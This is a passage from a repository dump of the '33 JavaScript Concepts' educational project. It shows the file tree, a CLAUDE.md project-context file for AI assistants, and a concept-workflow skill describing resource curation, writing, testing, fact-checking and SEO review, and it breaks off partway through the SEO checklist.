Repository: leonardomso/33-js-concepts
Branch: master
Commit: 9e2b863fd36e
Files: 165
Total size: 4.2 MB
Directory structure:
gitextract_w51t050h/
├── .claude/
│ ├── CLAUDE.md
│ └── skills/
│ ├── concept-workflow/
│ │ └── SKILL.md
│ ├── fact-check/
│ │ └── SKILL.md
│ ├── resource-curator/
│ │ └── SKILL.md
│ ├── seo-review/
│ │ └── SKILL.md
│ ├── test-writer/
│ │ └── SKILL.md
│ └── write-concept/
│ └── SKILL.md
├── .github/
│ ├── FUNDING.yml
│ └── workflows/
│ └── tests.yml
├── .gitignore
├── .opencode/
│ └── skill/
│ ├── concept-workflow/
│ │ └── SKILL.md
│ ├── fact-check/
│ │ └── SKILL.md
│ ├── resource-curator/
│ │ └── SKILL.md
│ ├── seo-review/
│ │ └── SKILL.md
│ ├── test-writer/
│ │ └── SKILL.md
│ └── write-concept/
│ └── SKILL.md
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── TRANSLATIONS.md
├── docs/
│ ├── 5c8wamucvfketshf1eyrw254gz94jwre.txt
│ ├── beyond/
│ │ ├── concepts/
│ │ │ ├── blob-file-api.mdx
│ │ │ ├── computed-property-names.mdx
│ │ │ ├── cookies.mdx
│ │ │ ├── custom-events.mdx
│ │ │ ├── debouncing-throttling.mdx
│ │ │ ├── event-bubbling-capturing.mdx
│ │ │ ├── event-delegation.mdx
│ │ │ ├── garbage-collection.mdx
│ │ │ ├── getters-setters.mdx
│ │ │ ├── hoisting.mdx
│ │ │ ├── indexeddb.mdx
│ │ │ ├── intersection-observer.mdx
│ │ │ ├── javascript-type-nuances.mdx
│ │ │ ├── json-deep-dive.mdx
│ │ │ ├── localstorage-sessionstorage.mdx
│ │ │ ├── memoization.mdx
│ │ │ ├── memory-management.mdx
│ │ │ ├── mutation-observer.mdx
│ │ │ ├── object-methods.mdx
│ │ │ ├── performance-observer.mdx
│ │ │ ├── property-descriptors.mdx
│ │ │ ├── proxy-reflect.mdx
│ │ │ ├── requestanimationframe.mdx
│ │ │ ├── resize-observer.mdx
│ │ │ ├── strict-mode.mdx
│ │ │ ├── tagged-template-literals.mdx
│ │ │ ├── temporal-dead-zone.mdx
│ │ │ ├── typed-arrays-arraybuffers.mdx
│ │ │ └── weakmap-weakset.mdx
│ │ └── getting-started/
│ │ └── overview.mdx
│ ├── concepts/
│ │ ├── algorithms-big-o.mdx
│ │ ├── async-await.mdx
│ │ ├── call-stack.mdx
│ │ ├── callbacks.mdx
│ │ ├── clean-code.mdx
│ │ ├── currying-composition.mdx
│ │ ├── data-structures.mdx
│ │ ├── design-patterns.mdx
│ │ ├── dom.mdx
│ │ ├── equality-operators.mdx
│ │ ├── error-handling.mdx
│ │ ├── es-modules.mdx
│ │ ├── event-loop.mdx
│ │ ├── factories-classes.mdx
│ │ ├── generators-iterators.mdx
│ │ ├── higher-order-functions.mdx
│ │ ├── http-fetch.mdx
│ │ ├── iife-modules.mdx
│ │ ├── inheritance-polymorphism.mdx
│ │ ├── javascript-engines.mdx
│ │ ├── map-reduce-filter.mdx
│ │ ├── modern-js-syntax.mdx
│ │ ├── object-creation-prototypes.mdx
│ │ ├── primitive-types.mdx
│ │ ├── primitives-objects.mdx
│ │ ├── promises.mdx
│ │ ├── pure-functions.mdx
│ │ ├── recursion.mdx
│ │ ├── regular-expressions.mdx
│ │ ├── scope-and-closures.mdx
│ │ ├── this-call-apply-bind.mdx
│ │ ├── type-coercion.mdx
│ │ └── web-workers.mdx
│ ├── contributing.mdx
│ ├── docs.json
│ ├── getting-started/
│ │ ├── about.mdx
│ │ ├── how-to-learn.mdx
│ │ ├── learning-paths.mdx
│ │ └── prerequisites.mdx
│ ├── index.mdx
│ ├── robots.txt
│ ├── schema-inject.js
│ └── translations.mdx
├── index.js
├── opencode.jsonc
├── package.json
├── tests/
│ ├── advanced-topics/
│ │ ├── algorithms-big-o/
│ │ │ └── algorithms-big-o.test.js
│ │ ├── data-structures/
│ │ │ └── data-structures.test.js
│ │ ├── design-patterns/
│ │ │ └── design-patterns.test.js
│ │ ├── error-handling/
│ │ │ └── error-handling.test.js
│ │ ├── es-modules/
│ │ │ └── es-modules.test.js
│ │ ├── modern-js-syntax/
│ │ │ └── modern-js-syntax.test.js
│ │ └── regular-expressions/
│ │ └── regular-expressions.test.js
│ ├── async-javascript/
│ │ └── callbacks/
│ │ ├── callbacks.dom.test.js
│ │ └── callbacks.test.js
│ ├── beyond/
│ │ ├── browser-storage/
│ │ │ ├── cookies/
│ │ │ │ ├── cookies.dom.test.js
│ │ │ │ └── cookies.test.js
│ │ │ ├── indexeddb/
│ │ │ │ └── indexeddb.test.js
│ │ │ └── localstorage-sessionstorage/
│ │ │ ├── localstorage-sessionstorage.dom.test.js
│ │ │ └── localstorage-sessionstorage.test.js
│ │ ├── data-handling/
│ │ │ ├── blob-file-api/
│ │ │ │ ├── blob-file-api.dom.test.js
│ │ │ │ └── blob-file-api.test.js
│ │ │ ├── json-deep-dive/
│ │ │ │ └── json-deep-dive.test.js
│ │ │ ├── requestanimationframe/
│ │ │ │ └── requestanimationframe.test.js
│ │ │ └── typed-arrays-arraybuffers/
│ │ │ └── typed-arrays-arraybuffers.test.js
│ │ ├── events/
│ │ │ ├── custom-events/
│ │ │ │ ├── custom-events.dom.test.js
│ │ │ │ └── custom-events.test.js
│ │ │ ├── event-bubbling-capturing/
│ │ │ │ └── event-bubbling-capturing.dom.test.js
│ │ │ └── event-delegation/
│ │ │ └── event-delegation.test.js
│ │ ├── language-mechanics/
│ │ │ ├── hoisting/
│ │ │ │ └── hoisting.test.js
│ │ │ ├── strict-mode/
│ │ │ │ └── strict-mode.test.js
│ │ │ └── temporal-dead-zone/
│ │ │ └── temporal-dead-zone.test.js
│ │ ├── memory-performance/
│ │ │ ├── debouncing-throttling/
│ │ │ │ └── debouncing-throttling.test.js
│ │ │ ├── garbage-collection/
│ │ │ │ └── garbage-collection.test.js
│ │ │ ├── memoization/
│ │ │ │ └── memoization.test.js
│ │ │ └── memory-management/
│ │ │ └── memory-management.test.js
│ │ ├── modern-syntax-operators/
│ │ │ ├── computed-property-names/
│ │ │ │ └── computed-property-names.test.js
│ │ │ └── tagged-template-literals/
│ │ │ └── tagged-template-literals.test.js
│ │ ├── objects-properties/
│ │ │ ├── getters-setters/
│ │ │ │ └── getters-setters.test.js
│ │ │ ├── object-methods/
│ │ │ │ └── object-methods.test.js
│ │ │ ├── property-descriptors/
│ │ │ │ └── property-descriptors.test.js
│ │ │ ├── proxy-reflect/
│ │ │ │ └── proxy-reflect.test.js
│ │ │ └── weakmap-weakset/
│ │ │ └── weakmap-weakset.test.js
│ │ ├── observer-apis/
│ │ │ ├── intersection-observer/
│ │ │ │ ├── intersection-observer.dom.test.js
│ │ │ │ └── intersection-observer.test.js
│ │ │ ├── mutation-observer/
│ │ │ │ └── mutation-observer.dom.test.js
│ │ │ ├── performance-observer/
│ │ │ │ └── performance-observer.test.js
│ │ │ └── resize-observer/
│ │ │ └── resize-observer.test.js
│ │ └── type-system/
│ │ └── javascript-type-nuances/
│ │ └── javascript-type-nuances.test.js
│ ├── functional-programming/
│ │ ├── currying-composition/
│ │ │ └── currying-composition.test.js
│ │ ├── higher-order-functions/
│ │ │ └── higher-order-functions.test.js
│ │ ├── map-reduce-filter/
│ │ │ └── map-reduce-filter.test.js
│ │ ├── pure-functions/
│ │ │ └── pure-functions.test.js
│ │ └── recursion/
│ │ └── recursion.test.js
│ ├── functions-execution/
│ │ ├── async-await/
│ │ │ └── async-await.test.js
│ │ ├── event-loop/
│ │ │ └── event-loop.test.js
│ │ ├── generators-iterators/
│ │ │ └── generators-iterators.test.js
│ │ ├── iife-modules/
│ │ │ └── iife-modules.test.js
│ │ └── promises/
│ │ └── promises.test.js
│ ├── fundamentals/
│ │ ├── call-stack/
│ │ │ └── call-stack.test.js
│ │ ├── equality-operators/
│ │ │ └── equality-operators.test.js
│ │ ├── javascript-engines/
│ │ │ └── javascript-engines.test.js
│ │ ├── primitive-types/
│ │ │ └── primitive-types.test.js
│ │ ├── primitives-objects/
│ │ │ └── primitives-objects.test.js
│ │ ├── scope-and-closures/
│ │ │ └── scope-and-closures.test.js
│ │ └── type-coercion/
│ │ └── type-coercion.test.js
│ ├── object-oriented/
│ │ ├── factories-classes/
│ │ │ └── factories-classes.test.js
│ │ ├── inheritance-polymorphism/
│ │ │ └── inheritance-polymorphism.test.js
│ │ ├── object-creation-prototypes/
│ │ │ └── object-creation-prototypes.test.js
│ │ └── this-call-apply-bind/
│ │ └── this-call-apply-bind.test.js
│ └── web-platform/
│ ├── dom/
│ │ └── dom.test.js
│ └── http-fetch/
│ └── http-fetch.test.js
└── vitest.config.js
================================================
FILE CONTENTS
================================================
================================================
FILE: .claude/CLAUDE.md
================================================
# 33 JavaScript Concepts - Project Context
## Overview
This repository is a curated collection of **33 essential JavaScript concepts** that every JavaScript developer should know. It serves as a comprehensive learning resource and study guide for developers at all levels, from beginners to advanced practitioners.
The project was recognized by GitHub as one of the **top open source projects of 2018** and has been translated into 40+ languages by the community.
## Project Purpose
- Help developers master fundamental and advanced JavaScript concepts
- Provide curated resources (articles, videos, books) for each concept
- Serve as a reference guide for interview preparation
- Foster community contributions through translations and resource additions
## Repository Structure
```
33-js-concepts/
├── .claude/ # Claude configuration
│ ├── CLAUDE.md # Project context and guidelines
│ └── skills/ # Custom skills for content creation
│ ├── write-concept/ # Skill for writing concept documentation
│ ├── fact-check/ # Skill for verifying technical accuracy
│ ├── seo-review/ # Skill for SEO audits
│ ├── test-writer/ # Skill for generating Vitest tests
│ ├── resource-curator/ # Skill for curating external resources
│ └── concept-workflow/ # Skill for end-to-end concept creation
├── .opencode/ # OpenCode configuration
│ └── skill/ # Custom skills (mirrored from .claude/skills)
│ ├── write-concept/ # Skill for writing concept documentation
│ ├── fact-check/ # Skill for verifying technical accuracy
│ ├── seo-review/ # Skill for SEO audits
│ ├── test-writer/ # Skill for generating Vitest tests
│ ├── resource-curator/ # Skill for curating external resources
│ └── concept-workflow/ # Skill for end-to-end concept creation
├── docs/ # Mintlify documentation site
│ ├── docs.json # Mintlify configuration
│ ├── index.mdx # Homepage
│ ├── introduction.mdx # Getting started guide
│ ├── contributing.mdx # Contribution guidelines
│ ├── translations.mdx # Community translations
│ └── concepts/ # 33 concept pages
│ ├── call-stack.mdx
│ ├── primitive-types.mdx
│ └── ... (all 33 concepts)
├── tests/ # Vitest test suites
│ └── fundamentals/ # Tests for fundamental concepts (1-6)
│ ├── call-stack/
│ ├── primitive-types/
│ ├── value-reference-types/
│ ├── type-coercion/
│ ├── equality-operators/
│ └── scope-and-closures/
├── vitest.config.js # Vitest configuration
├── README.md # Main GitHub README
├── CONTRIBUTING.md # Guidelines for contributors
├── CODE_OF_CONDUCT.md # Community standards
├── LICENSE # MIT License
├── package.json # Project metadata
├── opencode.jsonc # OpenCode AI assistant configuration
└── github-image.png # Project banner image
```
## The 31 Concepts (32nd and 33rd coming soon)
### Fundamentals (1-6)
1. Primitive Types
2. Value Types and Reference Types
3. Type Coercion (Implicit, Explicit, Nominal, Structuring and Duck Typing)
4. Equality Operators (== vs === vs typeof)
5. Scope & Closures
6. Call Stack
### Functions & Execution (7-8)
7. Event Loop (Message Queue)
8. IIFE, Modules and Namespaces
### Web Platform (9-10)
9. DOM and Layout Trees
10. HTTP & Fetch
### Object-Oriented JS (11-15)
11. Factories and Classes
12. this, call, apply and bind
13. new, Constructor, instanceof and Instances
14. Prototype Inheritance and Prototype Chain
15. Object.create and Object.assign
### Functional Programming (16-19)
16. map, reduce, filter
17. Pure Functions, Side Effects, State Mutation and Event Propagation
18. Higher-Order Functions
19. Recursion
### Async JavaScript (20-22)
20. Collections and Generators
21. Promises
22. async/await
### Advanced Topics (23-31)
23. JavaScript Engines
24. Data Structures
25. Big O Notation (Expensive Operations)
26. Algorithms
27. Inheritance, Polymorphism and Code Reuse
28. Design Patterns
29. Partial Applications, Currying, Compose and Pipe
30. Clean Code
## Content Format
Each concept page in `/docs/concepts/` follows this structure:
### 1. Frontmatter
```mdx
---
title: "Concept Name"
description: "Brief description of the concept"
---
```
### 2. Real-World Analogy
Start with an engaging analogy that makes the concept relatable. Include ASCII art diagrams when helpful.
### 3. Info Box (What You'll Learn)
```mdx
**What you'll learn in this guide:**
- Key point 1
- Key point 2
- Key point 3
```
### 4. Main Content Sections
- Use clear headings (`##`, `###`) to organize topics
- Include code examples with explanations
- Use Mintlify components (``, ``, ``, etc.)
- Add diagrams and visualizations where helpful
### 5. Related Concepts
```mdx
Brief description of how it relates
```
### 6. Reference
```mdx
Official MDN documentation
```
### 7. Articles
Curated blog posts and tutorials using `` with `icon="newspaper"`.
### 8. Courses (optional)
Educational courses using `` with `icon="graduation-cap"`.
### 9. Videos
YouTube tutorials and conference talks using `` with `icon="video"`.
## Contributing Guidelines
### Adding Resources
- Resources should be high-quality and educational
- Follow the existing Card format for consistency
- Include a brief description of what the resource covers
### Resource Format
```mdx
Brief description of what the reader will learn from this resource.
```
## Git Commit Conventions
This project follows the [Conventional Commits](https://www.conventionalcommits.org/) specification. All commits must adhere to this format for consistency and automated changelog generation.
### Commit Message Format
```
[optional scope]:
[optional body]
[optional footer(s)]
```
### Commit Types
| Type | Description |
|------|-------------|
| `feat` | New features or content additions (e.g., new resources, new concepts) |
| `fix` | Bug fixes, broken link corrections, typo fixes |
| `docs` | Documentation changes (README updates, CONTRIBUTING updates) |
| `style` | Formatting changes (markdown formatting, whitespace) |
| `refactor` | Content restructuring without adding new resources |
| `chore` | Maintenance tasks (config updates, dependency updates) |
| `ci` | CI/CD configuration changes |
| `perf` | Performance improvements |
| `test` | Adding or updating tests |
| `build` | Build system or external dependency changes |
| `revert` | Reverting a previous commit |
### Examples
```bash
# Adding a new resource
feat: add article about closures by John Doe
# Fixing a broken link
fix: update broken MDN link in Promises section
# Documentation update
docs: update contributing guidelines for translations
# Maintenance task
chore: update opencode.json configuration
# Adding content to existing concept
feat(closures): add video tutorial by Fun Fun Function
# Multiple changes in body
feat: add new resources for async/await
- Add article by JavaScript Teacher
- Add video tutorial by Traversy Media
- Update reference links
```
### Rules
1. **Use lowercase** for the type and description
2. **No period** at the end of the description
3. **Use imperative mood** ("add" not "added", "fix" not "fixed")
4. **Keep the first line under 72 characters**
5. **Reference issues** in the footer when applicable (e.g., `Closes #123`)
## MCP Servers Available
This project has OpenCode configured with:
1. **Context7** - Documentation search (`use context7` in prompts)
2. **GitHub** - Repository management (`use github` in prompts)
## Testing
This project uses [Vitest](https://vitest.dev/) as the test runner to verify that code examples in the documentation work correctly.
### Running Tests
```bash
# Run all tests once
npm test
# Run tests in watch mode (re-runs on file changes)
npm run test:watch
# Run tests with coverage report
npm run test:coverage
```
### Test Structure
Tests are organized by concept category in the `tests/` directory:
```
tests/
├── fundamentals/ # Concepts 1-6
│ ├── call-stack/
│ ├── primitive-types/
│ ├── value-reference-types/
│ ├── type-coercion/
│ ├── equality-operators/
│ └── scope-and-closures/
├── functions-execution/ # Concepts 7-8
│ ├── event-loop/
│ └── iife-modules/
└── web-platform/ # Concepts 9-10
├── dom/
└── http-fetch/
```
### Writing Tests for Code Examples
When adding new code examples to concept documentation, please include corresponding tests:
1. **File naming**: Create `{concept-name}.test.js` in `tests/{category}/{concept-name}/`
2. **Use explicit imports**:
```javascript
import { describe, it, expect } from 'vitest'
```
3. **Convert console.log examples to assertions**:
```javascript
// Documentation example:
// console.log(typeof "hello") // "string"
// Test:
it('should return string type', () => {
expect(typeof "hello").toBe("string")
})
```
4. **Test error cases**: Use `expect(() => { ... }).toThrow()` for operations that should throw
5. **Skip browser-specific examples**: Tests run in Node.js, so skip DOM/window/document examples
6. **Note strict mode behavior**: Vitest runs in strict mode, so operations that "silently fail" in non-strict mode will throw `TypeError`
### Current Test Coverage
| Category | Concept | Tests |
|----------|---------|-------|
| Fundamentals | Call Stack | 20 |
| Fundamentals | Primitive Types | 73 |
| Fundamentals | Value vs Reference Types | 54 |
| Fundamentals | Type Coercion | 74 |
| Fundamentals | Equality Operators | 87 |
| Fundamentals | Scope and Closures | 46 |
| Functions & Execution | Event Loop | 56 |
| Functions & Execution | IIFE & Modules | 61 |
| Web Platform | DOM | 85 |
| Web Platform | HTTP & Fetch | 72 |
| **Total** | | **628** |
## Documentation Site (Mintlify)
The project includes a Mintlify documentation site in the `/docs` directory.
### Local Development
```bash
# Using npm script
npm run docs
# Or install Mintlify CLI globally
npm i -g mint
cd docs
mint dev
```
The site will be available at `http://localhost:3000`.
### Documentation Structure
- **Getting Started**: Homepage and introduction
- **Fundamentals**: Concepts 1-6 (Primitive Types through Call Stack)
- **Functions & Execution**: Concepts 7-8 (Event Loop through IIFE/Modules)
- **Web Platform**: Concepts 9-10 (DOM and HTTP & Fetch)
- **Object-Oriented JS**: Concepts 11-15 (Factories through Object.create/assign)
- **Functional Programming**: Concepts 16-19 (map/reduce/filter through Recursion)
- **Async JavaScript**: Concepts 20-22 (Collections/Generators through async/await)
- **Advanced Topics**: Concepts 23-31 (JavaScript Engines through Clean Code)
### Adding/Editing Concept Pages
Each concept page is in `docs/concepts/` and follows this template:
```mdx
---
title: "Concept Name"
description: "Brief description"
---
## Overview
[Explanation of the concept]
## Reference
[MDN or official docs links]
## Articles
[Curated articles with CardGroup components]
## Videos
[Curated videos with CardGroup components]
```
## Important Notes
- This is primarily a documentation/resource repository, not a code library
- The main content lives in `README.md` and `/docs` (Mintlify site)
- Translations are maintained in separate forked repositories
- Community contributions are welcome and encouraged
- MIT Licensed
## Custom Skills
### write-concept Skill
Use the `/write-concept` skill when writing or improving concept documentation pages. This skill provides comprehensive guidelines for:
- **Page Structure**: Exact template for concept pages (frontmatter, opening hook, code examples, sections)
- **SEO Optimization**: Critical guidelines for ranking in search results
- **Writing Style**: Voice, tone, and how to make content accessible to beginners
- **Code Examples**: Best practices for clear, educational code
- **Quality Checklists**: Verification steps before publishing
**When to invoke:**
- Creating a new concept page in `/docs/concepts/`
- Rewriting or significantly improving an existing concept page
- Reviewing an existing concept page for quality
**SEO is Critical:** Each concept page should rank for searches like:
- "what is [concept] in JavaScript"
- "how does [concept] work in JavaScript"
- "[concept] JavaScript explained"
The skill includes detailed guidance on title optimization (50-60 chars), meta descriptions (150-160 chars), keyword placement, and featured snippet optimization.
**Location:** `.claude/skills/write-concept/SKILL.md`
### fact-check Skill
Use the `/fact-check` skill when verifying the technical accuracy of concept documentation. This skill provides comprehensive methodology for:
- **Code Verification**: Verify all code examples produce stated outputs, run project tests
- **MDN/Spec Compliance**: Check claims against official MDN documentation and ECMAScript specification
- **External Resource Checks**: Verify all links work and descriptions accurately represent content
- **Misconception Detection**: Common JavaScript misconceptions to watch for (type coercion, async behavior, etc.)
- **Test Integration**: Instructions for running `npm test` to verify code examples
- **Report Template**: Structured format for documenting findings with severity levels
**When to invoke:**
- Before publishing a new concept page
- After significant edits to existing pages
- When reviewing community contributions
- Periodic accuracy audits of existing content
**What gets checked:**
- Every code example for correct output
- All MDN links for validity (not 404)
- API descriptions match current MDN documentation
- External resources (articles, videos) are accessible and accurate
- Technical claims are correct and properly nuanced
- No common JavaScript misconceptions stated as fact
**Location:** `.claude/skills/fact-check/SKILL.md`
### seo-review Skill
Use the `/seo-review` skill when auditing concept pages for search engine optimization. This skill provides a focused audit checklist:
- **27-Point Scoring System**: Systematic audit across 6 categories
- **Title & Meta Optimization**: Character counts, keyword placement, compelling hooks
- **Keyword Strategy**: Pre-built keyword clusters for all JavaScript concepts
- **Featured Snippet Optimization**: Patterns for winning position zero in search results
- **Internal Linking**: Audit of concept interconnections and anchor text quality
- **Report Template**: Structured SEO audit report with prioritized fixes
**When to invoke:**
- Before publishing a new concept page
- When optimizing underperforming pages
- Periodic content audits
- After major content updates
**Scoring Categories (30 points total):**
- Title Tag (4 points)
- Meta Description (4 points)
- Keyword Placement (5 points)
- Content Structure (6 points)
- Featured Snippets (4 points)
- Internal Linking (4 points)
- Technical SEO (3 points) — Single H1, keyword in slug, no orphan pages
**Score Interpretation:**
- 90-100% (27-30): Ready to publish
- 75-89% (23-26): Minor optimizations needed
- 55-74% (17-22): Several improvements needed
- Below 55% (<17): Significant work required
**Location:** `.claude/skills/seo-review/SKILL.md`
### test-writer Skill
Use the `/test-writer` skill when generating Vitest tests for code examples in concept documentation. This skill provides comprehensive methodology for:
- **Code Extraction**: Identify and categorize all code examples (testable, DOM, error, conceptual)
- **Test Patterns**: 16 patterns for converting different types of code examples to tests
- **DOM Testing**: Separate file structure with jsdom environment for browser-specific code
- **Source References**: Line number references linking tests to documentation
- **Project Conventions**: File naming, describe block organization, assertion patterns
- **Report Template**: Test coverage report documenting what was tested and skipped
**When to invoke:**
- After writing a new concept page
- When adding new code examples to existing pages
- When updating existing code examples
- To verify documentation accuracy through automated tests
**Test Categories:**
- Basic value assertions (`console.log` → `expect`)
- Error testing (`toThrow` patterns)
- Async testing (Promises, async/await)
- DOM testing (jsdom environment, events)
- Floating point (toBeCloseTo)
- Object/Array comparisons (toEqual)
**File Structure:**
```
tests/{category}/{concept-name}/{concept-name}.test.js
tests/{category}/{concept-name}/{concept-name}.dom.test.js (if DOM examples)
```
**Location:** `.claude/skills/test-writer/SKILL.md`
### resource-curator Skill
Use the `/resource-curator` skill when finding, evaluating, or maintaining external resources (articles, videos, courses) for concept pages. This skill provides:
- **Audit Process**: Check existing links for accessibility, accuracy, and relevance
- **Trusted Sources**: Prioritized lists of reputable article, video, and course sources
- **Quality Criteria**: Must-have, should-have, and red flag checklists
- **Description Writing**: Formula and examples for specific, valuable descriptions
- **Publication Guidelines**: Date thresholds for different topic categories
- **Report Template**: Audit report for documenting broken, outdated, and missing resources
**When to invoke:**
- Adding resources to a new concept page
- Refreshing resources on existing pages
- Auditing for broken or outdated links
- Reviewing community-contributed resources
- Periodic link maintenance
**Resource Targets:**
- Reference: 2-4 MDN links
- Articles: 4-6 quality articles
- Videos: 3-4 quality videos
- Courses: 1-3 (optional)
**Trusted Sources Include:**
- Articles: javascript.info, MDN Guides, freeCodeCamp, 2ality, CSS-Tricks, dev.to
- Videos: Fireship, Web Dev Simplified, Fun Fun Function, Traversy Media, JSConf
- Courses: javascript.info, Piccalilli, freeCodeCamp, Frontend Masters
**Location:** `.claude/skills/resource-curator/SKILL.md`
### concept-workflow Skill
Use the `/concept-workflow` skill for end-to-end creation of a complete concept page. This orchestrator skill coordinates all five specialized skills in optimal order:
```
Phase 1: resource-curator → Find quality external resources
Phase 2: write-concept → Write the documentation page
Phase 3: test-writer → Generate tests for code examples
Phase 4: fact-check → Verify technical accuracy
Phase 5: seo-review → Optimize for search visibility
```
**When to invoke:**
- Creating a brand new concept page from scratch
- Completely rewriting an existing concept page
- When you want the full end-to-end workflow with all quality checks
**What it orchestrates:**
- Resource curation (2-4 MDN refs, 4-6 articles, 3-4 videos)
- Complete concept page writing (1,500+ words)
- Comprehensive test generation for all code examples
- Technical accuracy verification with test execution
- SEO audit targeting 90%+ score (24+/27)
**Deliverables:**
- `/docs/concepts/{concept-name}.mdx` — Complete documentation page
- `/tests/{category}/{concept-name}/{concept-name}.test.js` — Test file
- Updated `docs.json` navigation (if new concept)
- Fact-check report
- SEO audit report (score 24+/27)
**Estimated Time:** 2-5 hours depending on concept complexity
**Example prompt:**
> "Create a complete concept page for 'hoisting' using the concept-workflow skill"
**Location:** `.claude/skills/concept-workflow/SKILL.md`
## Maintainer
**Leonardo Maldonado** - [@leonardomso](https://github.com/leonardomso)
## Links
- Repository: https://github.com/leonardomso/33-js-concepts
- Issues: https://github.com/leonardomso/33-js-concepts/issues
- Original Article: [33 Fundamentals Every JavaScript Developer Should Know](https://medium.com/@stephenthecurt/33-fundamentals-every-javascript-developer-should-know-13dd720a90d1) by Stephen Curtis
================================================
FILE: .claude/skills/concept-workflow/SKILL.md
================================================
---
name: concept-workflow
description: End-to-end workflow for creating complete JavaScript concept documentation, orchestrating all skills from research to final review
---
# Skill: Complete Concept Workflow
Use this skill to create a complete, high-quality concept page from start to finish. This skill orchestrates all five specialized skills in the optimal order:
1. **Resource Curation** — Find quality learning resources
2. **Concept Writing** — Write the documentation page
3. **Test Writing** — Create tests for code examples
4. **Fact Checking** — Verify technical accuracy
5. **SEO Review** — Optimize for search visibility
## When to Use
- Creating a brand new concept page from scratch
- Completely rewriting an existing concept page
- When you want a full end-to-end workflow with all quality checks
**For partial tasks, use individual skills instead:**
- Just adding resources? Use `resource-curator`
- Just writing content? Use `write-concept`
- Just adding tests? Use `test-writer`
- Just verifying accuracy? Use `fact-check`
- Just optimizing SEO? Use `seo-review`
---
## Workflow Overview
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ COMPLETE CONCEPT WORKFLOW │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ INPUT: Concept name (e.g., "hoisting", "event-loop", "promises") │
│ │
│ ┌──────────────────┐ │
│ │ PHASE 1: RESEARCH │ │
│ │ resource-curator │ Find MDN refs, articles, videos │
│ └────────┬─────────┘ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ PHASE 2: WRITE │ │
│ │ write-concept │ Create the documentation page │
│ └────────┬─────────┘ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ PHASE 3: TEST │ │
│ │ test-writer │ Generate tests for all code examples │
│ └────────┬─────────┘ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ PHASE 4: VERIFY │ │
│ │ fact-check │ Verify accuracy, run tests, check links │
│ └────────┬─────────┘ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ PHASE 5: OPTIMIZE│ │
│ │ seo-review │ SEO audit and final optimizations │
│ └────────┬─────────┘ │
│ ▼ │
│ OUTPUT: Complete, tested, verified, SEO-optimized concept page │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
---
## Phase 1: Resource Curation
**Skill:** `resource-curator`
**Goal:** Gather high-quality external resources before writing
### What to Do
1. **Identify the concept category** (fundamentals, async, OOP, etc.)
2. **Search for MDN references** — Official documentation
3. **Find quality articles** — Target 4-6 from trusted sources
4. **Find quality videos** — Target 3-4 from trusted creators
5. **Evaluate each resource** — Check quality criteria
6. **Write specific descriptions** — 2 sentences each
7. **Format as Card components** — Ready to paste into the page
### Deliverables
- List of 2-4 MDN/reference links with descriptions
- List of 4-6 article links with descriptions
- List of 3-4 video links with descriptions
- Optional: 1-2 courses or books
### Quality Gates
Before moving to Phase 2:
- [ ] All links verified working (200 response)
- [ ] All resources are JavaScript-focused
- [ ] Descriptions are specific, not generic
- [ ] Mix of beginner and advanced content
---
## Phase 2: Concept Writing
**Skill:** `write-concept`
**Goal:** Create the full documentation page
### What to Do
1. **Determine the category** for file organization
2. **Create the frontmatter** (title, sidebarTitle, description)
3. **Write the opening hook** — Question that draws readers in
4. **Add opening code example** — Simple example in first 200 words
5. **Write "What you'll learn" box** — 5-7 bullet points
6. **Write main content sections:**
- What is [concept]? (with 40-60 word definition for featured snippet)
- Real-world analogy
- How it works (with diagrams)
- Code examples (multiple, progressive complexity)
- Common mistakes
- Edge cases
7. **Add Key Takeaways** — 8-10 numbered points
8. **Add Test Your Knowledge** — 5-6 Q&A accordions
9. **Add Related Concepts** — 4 Cards linking to related topics
10. **Add Resources** — Paste resources from Phase 1
### Deliverables
- Complete `.mdx` file at `/docs/concepts/{concept-name}.mdx`
- File added to `docs.json` navigation (if new)
### Quality Gates
Before moving to Phase 3:
- [ ] Frontmatter complete (title, sidebarTitle, description)
- [ ] Opens with question hook
- [ ] Code example in first 200 words
- [ ] "What you'll learn" Info box present
- [ ] All required sections present
- [ ] Resources section complete
- [ ] 1,500+ words
---
## Phase 3: Test Writing
**Skill:** `test-writer`
**Goal:** Create comprehensive tests for all code examples
### What to Do
1. **Scan the concept page** for all code examples
2. **Categorize examples:**
- Testable (console.log, return values)
- DOM-specific (needs jsdom)
- Error examples (toThrow)
- Conceptual (skip)
3. **Create test file** at `tests/{category}/{concept}/{concept}.test.js`
4. **Create DOM test file** (if needed) at `tests/{category}/{concept}/{concept}.dom.test.js`
5. **Write tests** for each code example with source line references
6. **Run tests** to verify all pass
### Deliverables
- Test file: `tests/{category}/{concept-name}/{concept-name}.test.js`
- DOM test file (if applicable): `tests/{category}/{concept-name}/{concept-name}.dom.test.js`
- All tests passing
### Quality Gates
Before moving to Phase 4:
- [ ] All testable code examples have tests
- [ ] Source line references in comments
- [ ] Tests pass: `npm test -- tests/{category}/{concept}/`
- [ ] DOM tests in separate file with jsdom directive
---
## Phase 4: Fact Checking
**Skill:** `fact-check`
**Goal:** Verify technical accuracy of all content
### What to Do
1. **Verify code examples:**
- Run tests: `npm test -- tests/{category}/{concept}/`
- Check any untested examples manually
- Verify output comments match actual outputs
2. **Verify MDN/spec claims:**
- Click all MDN links — verify they work
- Compare API descriptions to MDN
- Check ECMAScript spec for nuanced claims
3. **Verify external resources:**
- Check all article/video links work
- Skim content for accuracy
- Verify descriptions match content
4. **Audit technical claims:**
- Look for "always/never" statements
- Verify performance claims
- Check for common misconceptions
5. **Generate fact-check report**
### Deliverables
- Fact-check report documenting:
- Code verification results
- Link check results
- Any issues found and fixes made
### Quality Gates
Before moving to Phase 5:
- [ ] All tests passing
- [ ] All MDN links valid
- [ ] All external resources accessible
- [ ] No technical inaccuracies found
- [ ] No common misconceptions
---
## Phase 5: SEO Review
**Skill:** `seo-review`
**Goal:** Optimize for search visibility
### What to Do
1. **Audit title tag:**
- 50-60 characters
- Primary keyword in first half
- Ends with "in JavaScript"
- Contains compelling hook
2. **Audit meta description:**
- 150-160 characters
- Starts with action word (Learn, Understand, Discover)
- Contains primary keyword
- Promises specific value
3. **Audit keyword placement:**
- Keyword in title
- Keyword in description
- Keyword in first 100 words
- Keyword in at least one H2
